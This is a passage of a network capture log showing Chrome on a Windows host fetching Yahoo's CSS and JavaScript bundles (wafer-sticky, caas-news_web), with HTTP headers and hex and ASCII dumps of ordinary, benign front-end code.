2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6e 74 64 6f 77 6e 2d 65 78 70 69 72 65 64 5f 42 67 63 5c 28 5c 23 32 64 33 35 33 65 37 66 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 64 33 35 33 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 2d 6c 65 73 73 74 68 61 6e 32 34 68 20 2e 77 61 66 65 72 2d 63 6f 75 6e 74 64 6f 77 6e 2d 6c 65 73 73 74 68 61 6e 32 34 68 5f 42 67 63 5c 28 5c 23 66 66 33 30 30 38 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 33 30 30 38 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 67 7a 5c 28 63 76 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 7d 23 61 74 6f 6d 69 63 20 2e 42 67 70 5c 28 63 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e Data Ascii: ntdown-expired_Bgc$\#2d353e7f${background-color:#2d353e!important}.wafer-countdown-lessthan24h .wafer-countdown-lessthan24h_Bgc$\#ff3008${background-color:#ff3008!important}#atomic .Bgz$cv${background-size:cover}#atomic .Bgp$c${background-position
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 63 20 2e 43 5c 28 2d 2d 62 6f 6e 73 61 69 5c 29 7b 63 6f 6c 6f 72 3a 23 30 30 38 37 33 63 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 6f 6e 73 61 69 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 64 6f 6c 70 68 69 6e 5c 29 7b 63 6f 6c 6f 72 3a 23 36 65 37 37 38 30 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 6f 6c 70 68 69 6e 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 64 6f 72 79 5c 29 7b 63 6f 6c 6f 72 3a 23 30 66 36 39 66 66 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 6f 72 79 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 66 70 2d 61 6c 70 68 61 2d 35 30 5c 29 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 61 6c 70 68 61 2d 35 30 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 66 70 2d 66 6f 72 65 67 72 6f 75 6e 64 5c 29 2c 23 61 74 6f 6d 69 63 20 2e Data Ascii: c .C$--bonsai${color:#00873c;color:var(--bonsai)}#atomic .C$--dolphin${color:#6e7780;color:var(--dolphin)}#atomic .C$--dory${color:#0f69ff;color:var(--dory)}#atomic .C$--fp-alpha-50${color:var(--fp-alpha-50)}#atomic .C$--fp-foreground$,#atomic .
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 43 75 72 5c 28 70 5c 29 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 61 64 2d 66 65 65 64 62 61 63 6b 2d 6f 70 74 69 6f 6e 73 20 2e 61 64 2d 66 65 65 64 62 61 63 6b 2d 6f 70 74 69 6f 6e 73 5f 44 5c 28 62 5c 29 2c 2e 61 64 2d 66 65 65 64 62 61 63 6b 2d 70 61 6e 65 6c 2d 73 68 6f 77 20 2e 61 64 2d 66 65 65 64 62 61 63 6b 2d 70 61 6e 65 6c 2d 73 68 6f 77 5f 44 5c 28 62 5c 29 2c 2e 61 64 2d 66 65 65 64 62 61 63 6b 2d 73 68 6f 77 20 2e 61 64 2d 66 65 65 64 62 61 63 6b 2d 73 68 6f 77 5f 44 5c 28 62 5c 29 2c 2e 67 65 6d 69 6e 69 2d 64 72 6f 70 64 6f 77 6e 2d 61 63 74 69 6f 6e 73 2d 73 68 6f 77 20 2e 67 65 6d 69 6e 69 2d 64 72 6f 70 64 6f 77 6e 2d 61 63 74 69 6f 6e 73 2d 73 68 6f 77 5f 44 5c 28 62 5c 29 2c 2e 67 65 6d 69 6e 69 2d 64 72 6f 70 64 6f 77 6e 2d Data Ascii: Cur$p${cursor:pointer}.ad-feedback-options .ad-feedback-options_D$b$,.ad-feedback-panel-show .ad-feedback-panel-show_D$b$,.ad-feedback-show .ad-feedback-show_D$b$,.gemini-dropdown-actions-show .gemini-dropdown-actions-show_D$b$,.gemini-dropdown-
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 69 6f 6e 2d 69 73 2d 74 72 75 65 20 2e 77 61 66 65 72 2d 61 63 74 69 6f 6e 2d 69 73 2d 74 72 75 65 5f 44 5c 28 66 5c 29 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 6c 75 72 5c 28 38 70 78 5c 29 7b 66 69 6c 74 65 72 3a 62 6c 75 72 28 38 70 78 29 7d 2e 68 69 64 65 2d 6e 74 6b 2d 61 64 20 2e 68 69 64 65 2d 6e 74 6b 2d 61 64 5f 42 6c 75 72 5c 28 36 70 78 5c 29 7b 66 69 6c 74 65 72 3a 62 6c 75 72 28 36 70 78 29 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 4f 70 61 63 69 74 79 5c 28 30 5c 2e 38 5c 29 7b 66 69 6c 74 65 72 3a 6f 70 61 63 69 74 79 28 2e 38 29 7d 23 61 74 6f 6d 69 63 20 2e 46 78 5c 28 5c 24 63 61 72 6f 75 73 65 6c 49 6e 64 69 63 61 74 6f 72 46 6c 65 78 5c 29 7b 66 6c 65 78 3a Data Ascii: ion-is-true .wafer-action-is-true_D$f${display:flex!important}#atomic .Blur$8px${filter:blur(8px)}.hide-ntk-ad .hide-ntk-ad_Blur$6px${filter:blur(6px)!important}#atomic .Opacity$0\.8${filter:opacity(.8)}#atomic .Fx$\$carouselIndicatorFlex${flex:
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 34 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 35 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 36 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 37 30 30 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 62 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 6e 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 5c 24 69 6e 68 65 72 69 74 5c 29 7b Data Ascii: {font-family:Helvetica,Arial,sans-serif}#atomic .Fw$400${font-weight:400}#atomic .Fw$500${font-weight:500}#atomic .Fw$600${font-weight:600}#atomic .Fw$700$,#atomic .Fw$b${font-weight:700}#atomic .Fw$n${font-weight:400}#atomic .Fz$\$inherit${
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6f 6d 69 63 20 2e 48 5c 28 33 5c 2e 33 65 6d 5c 29 7b 68 65 69 67 68 74 3a 33 2e 33 65 6d 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 33 38 70 78 5c 29 7b 68 65 69 67 68 74 3a 33 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 33 70 78 5c 29 7b 68 65 69 67 68 74 3a 33 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 34 70 78 5c 29 7b 68 65 69 67 68 74 3a 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 35 70 78 5c 29 7b 68 65 69 67 68 74 3a 36 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 70 78 5c 29 7b 68 65 69 67 68 74 3a 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4c 74 73 5c 28 5c 2e 30 31 32 35 65 6d 5c 29 7b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2e 30 31 32 35 65 6d 7d 23 61 74 6f 6d 69 63 20 2e 4c 69 73 74 5c 28 6e 5c 29 7b 6c 69 73 74 2d 73 74 79 Data Ascii: omic .H$3\.3em${height:3.3em}#atomic .H$38px${height:38px}#atomic .H$3px${height:3px}#atomic .H$4px${height:4px}#atomic .H$65px${height:65px}#atomic .H$6px${height:6px}#atomic .Lts$\.0125em${letter-spacing:.0125em}#atomic .List$n${list-sty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49877	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	539	OUT	GET /aaq/wf/wf-sticky-1.2.6-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	839	IN	HTTP/1.1 200 OK x-amz-id-2: T6qEcS7EIVFIH+RbfLGmZSX2LFYo7+KCGim5cAzseIevsD5nTQi32D9O8r4eV4SqbsRMKfJJS0YRjslPHXqjSA== x-amz-request-id: 7P302GN9TH10VCPQ Date: Sat, 27 Apr 2024 22:29:54 GMT Last-Modified: Fri, 26 Jan 2024 23:41:32 GMT ETag: "446c3635a0812f8c988a5e9ca3fc96a2" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: wePfh.HucUka1ChhR.5WzprFG1GPno6V Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8787 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 721 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 73 74 69 63 6b 79 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 73 74 69 63 6b 79 22 5d 3d 65 28 29 3a 28 74 2e 77 61 66 65 72 3d 74 2e 77 61 66 65 72 7c 7c 7b 7d 2c 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-sticky",[],e):"object"==typeof exports?exports["wafer-sticky"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|
2024-04-27 22:41:54 UTC	409	IN	Data Raw: 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 65 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a Data Ascii: unction"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Obj
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 65 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 3f 74 3a 65 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 65 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 Data Ascii: )throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e\|\|"object"!=typeof e&&"function"!=typeof e?t:e}function c(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 74 75 72 6e 20 6f 26 26 74 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 74 28 65 2c 69 29 2c 65 7d 7d 28 29 2c 70 3d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6f 2c 69 29 7b 6e 75 6c 6c 3d 3d 3d 65 26 26 28 65 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 6f 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 74 28 6e 2c 6f 2c 69 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 72 29 72 65 74 75 72 6e 20 72 2e 76 61 6c 75 65 3b 76 61 72 20 73 3d 72 2e 67 65 Data Ascii: turn o&&t(e.prototype,o),i&&t(e,i),e}}(),p=function t(e,o,i){null===e&&(e=Function.prototype);var r=Object.getOwnPropertyDescriptor(e,o);if(void 0===r){var n=Object.getPrototypeOf(e);return null===n?void 0:t(n,o,i)}if("value"in r)return r.value;var s=r.ge
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 74 61 74 65 3d 7b 69 73 53 74 69 63 6b 79 3a 21 31 2c 74 61 72 67 65 74 45 6c 65 6d 4f 66 66 73 65 74 54 6f 70 3a 6b 2e 6f 66 66 73 65 74 54 6f 70 2c 70 72 65 76 69 6f 75 73 50 6f 73 69 74 69 6f 6e 56 61 6c 75 65 3a 7b 62 6f 74 74 6f 6d 3a 4f 2c 6c 65 66 74 3a 53 2c 70 6f 73 69 74 69 6f 6e 3a 6a 2c 72 69 67 68 74 3a 45 2c 74 6f 70 3a 50 2c 77 69 64 74 68 3a 54 7d 2c 73 63 72 6f 6c 6c 43 6f 6e 74 61 69 6e 65 72 4f 62 73 65 72 76 65 72 3a 6e 75 6c 6c 7d 2c 74 3d 3d 3d 6b 26 26 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 73 7d 72 65 74 75 72 6e 20 73 28 65 2c 74 29 2c 79 28 65 2c 5b 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 Data Ascii: tate={isSticky:!1,targetElemOffsetTop:k.offsetTop,previousPositionValue:{bottom:O,left:S,position:j,right:E,top:P,width:T},scrollContainerObserver:null},t===k&&s.addEventListeners(),s}return s(e,t),y(e,[{key:"addEventListeners",value:function(){var t=this
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 67 6e 28 75 2e 73 74 79 6c 65 2c 7b 70 6f 73 69 74 69 6f 6e 3a 22 66 69 78 65 64 22 7d 2c 79 29 3a 74 68 69 73 2e 75 70 64 61 74 65 53 74 69 63 6b 79 50 72 6f 70 65 72 74 69 65 73 28 79 29 2c 75 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 74 69 63 6b 79 2d 61 63 74 69 76 65 22 29 2c 6e 29 7b 76 61 72 20 70 3b 28 70 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4c 69 73 74 29 2e 61 64 64 2e 61 70 70 6c 79 28 70 2c 69 28 6e 29 29 7d 7d 7d 7d 2c 7b 6b 65 79 3a 22 6d 61 6b 65 53 74 69 63 6b 79 46 6c 6f 77 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 65 3d 74 2e 62 6f 64 79 43 6c 61 73 73 6e 61 6d 65 2c 6f 3d 74 2e 65 6c 65 6d 2c 72 3d 74 2e 6f 66 66 73 65 74 42 6f 74 74 6f 6d Data Ascii: gn(u.style,{position:"fixed"},y):this.updateStickyProperties(y),u.classList.add("sticky-active"),n){var p;(p=document.body.classList).add.apply(p,i(n))}}}},{key:"makeStickyFlow",value:function(){var t=this._util,e=t.bodyClassname,o=t.elem,r=t.offsetBottom
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 74 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 74 28 65 2c 69 29 2c 65 7d 7d 28 29 2c 53 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 6a 3d 53 2e 62 61 73 65 2c 45 3d 53 2e 63 6f 6e 74 72 6f 6c 6c 65 72 73 2c 50 3d 53 2e 75 74 69 6c 73 2c 54 3d 50 2e 65 6c 65 6d 65 6e 74 49 6e 56 69 65 77 2c 43 3d 50 2e 74 68 72 6f 74 74 6c 65 2c 78 3d 45 2e 57 61 66 65 72 42 61 73 65 43 6f 6e 74 72 6f 6c 6c 65 72 2c 41 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 Data Ascii: !0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(e,o,i){return o&&t(e.prototype,o),i&&t(e,i),e}}(),S=window.wafer,j=S.base,E=S.controllers,P=S.utils,T=P.elementInView,C=P.throttle,x=E.WaferBaseController,A=function(t){func
2024-04-27 22:41:54 UTC	578	IN	Data Raw: 49 6e 73 74 61 6e 63 65 73 3b 74 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6f 3d 72 2e 67 65 74 28 74 29 2c 6e 3d 6f 2e 69 6e 73 74 61 6e 63 65 2c 73 3d 54 28 74 2c 7b 7d 2c 6a 2e 76 69 65 77 70 6f 72 74 29 2c 61 3d 6e 2e 63 6f 6e 66 69 67 2c 6c 3d 61 2e 69 73 53 74 69 63 6b 79 2c 63 3d 61 2e 73 74 69 63 6b 79 41 6c 6c 6f 77 65 64 3b 69 66 28 21 73 7c 7c 21 63 29 72 65 74 75 72 6e 20 76 6f 69 64 28 6c 26 26 6e 2e 72 65 6d 6f 76 65 53 74 69 63 6b 79 28 29 29 3b 76 61 72 20 66 3d 6e 2e 63 6f 6e 66 69 67 2e 74 61 72 67 65 74 45 6c 65 6d 2c 75 3d 66 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 79 3d 75 2e 68 65 69 67 68 74 3b 69 66 28 66 21 3d 3d 74 29 7b 76 61 72 20 70 3d 74 2e 67 65 74 42 6f 75 Data Ascii: Instances;t.forEach(function(t){var o=r.get(t),n=o.instance,s=T(t,{},j.viewport),a=n.config,l=a.isSticky,c=a.stickyAllowed;if(!s\|\|!c)return void(l&&n.removeSticky());var f=n.config.targetElem,u=f.getBoundingClientRect(),y=u.height;if(f!==t){var p=t.getBou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49878	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	541	OUT	GET /aaq/c/900b0e6.caas-news_web.min.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	854	IN	HTTP/1.1 200 OK x-amz-id-2: bfniCJnDFpAFUETM/c9FfO/Nqh/CUda0qW7aXbztjUtjCDMCezsUniwKT0Ei5MN0rZNA26qR3h4= x-amz-request-id: Q4MSMDGNG5XPA493 Date: Sat, 27 Apr 2024 14:33:14 GMT Last-Modified: Fri, 26 Apr 2024 19:34:12 GMT ETag: "6d5fcfa64f745c9aea423f849d922ee5" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: nDxSUJRnw84h0dB5AbQy38uvxZKAuIsM Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 120394 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 29321 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 3d 74 28 29 3a 65 2e 43 41 41 53 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 73 2c 6f 2c 61 3d 7b 22 2e 2f 6e 6f 64 65 5f 6d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS",[],t):"object"==typeof exports?exports.CAAS=t():e.CAAS=t()}(self,(function(){return function(){var e,t,s,o,a={"./node_m
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 2e 73 65 6c 65 63 74 6f 72 29 3b 66 6f 72 28 6c 65 74 20 6f 3d 73 2e 6c 65 6e 67 74 68 3b 6f 2d 2d 3b 74 2e 75 6e 73 68 69 66 74 28 73 5b 6f 5d 29 29 3b 72 65 74 75 72 6e 20 74 2e 66 69 6c 74 65 72 28 28 74 3d 3e 21 28 30 2c 6f 2e 68 61 73 43 6c 61 73 73 29 28 74 2c 65 2e 73 75 63 63 65 73 73 43 6c 61 73 73 29 29 29 7d 28 65 2e 6f 70 74 69 6f 6e 73 29 2c 74 2e 63 6f 75 6e 74 3d 74 2e 65 6c 65 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 74 2e 64 65 73 74 72 6f 79 65 64 29 7b 63 6f 6e 73 74 7b 61 64 64 54 6f 75 63 68 4d 6f 76 65 4c 69 73 74 65 6e 65 72 3a 73 2c 63 6f 6e 74 61 69 6e 65 72 3a 61 7d 3d 65 2e 6f 70 74 69 6f 6e 73 3b 74 2e 64 65 73 74 72 6f 79 65 64 3d 21 31 2c 61 26 26 28 30 2c 6f 2e 65 61 63 68 29 28 61 2c 28 Data Ascii: SelectorAll(e.selector);for(let o=s.length;o--;t.unshift(s[o]));return t.filter((t=>!(0,o.hasClass)(t,e.successClass)))}(e.options),t.count=t.elements.length,t.destroyed){const{addTouchMoveListener:s,container:a}=e.options;t.destroyed=!1,a&&(0,o.each)(a,(
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 65 26 26 28 30 2c 6f 2e 67 65 74 41 74 74 72 29 28 65 2c 22 64 61 74 61 2d 64 61 72 6b 2d 73 72 63 22 29 7c 7c 28 30 2c 6f 2e 67 65 74 41 74 74 72 29 28 65 2c 72 29 7c 7c 28 30 2c 6f 2e 67 65 74 41 74 74 72 29 28 65 2c 73 2e 73 72 63 29 3b 69 66 28 74 29 7b 63 6f 6e 73 74 20 61 3d 74 2e 73 70 6c 69 74 28 73 2e 73 65 70 61 72 61 74 6f 72 29 2c 69 3d 61 5b 6e 26 26 61 2e 6c 65 6e 67 74 68 3e 31 3f 31 3a 30 5d 2c 72 3d 28 30 2c 6f 2e 67 65 74 41 74 74 72 29 28 65 2c 73 2e 73 72 63 73 65 74 29 2c 63 3d 6c 28 65 2c 22 69 6d 67 22 29 2c 6d 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 68 3d 6d 26 26 6c 28 6d 2c 22 70 69 63 74 75 72 65 22 29 3b 69 66 28 63 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 2e 73 72 63 29 7b 6c 65 74 20 74 3d 64 3f 65 3a 6e 65 77 20 49 6d 61 67 65 Data Ascii: e&&(0,o.getAttr)(e,"data-dark-src")\|\|(0,o.getAttr)(e,r)\|\|(0,o.getAttr)(e,s.src);if(t){const a=t.split(s.separator),i=a[n&&a.length>1?1:0],r=(0,o.getAttr)(e,s.srcset),c=l(e,"img"),m=e.parentNode,h=m&&l(m,"picture");if(c\|\|void 0===e.src){let t=d?e:new Image
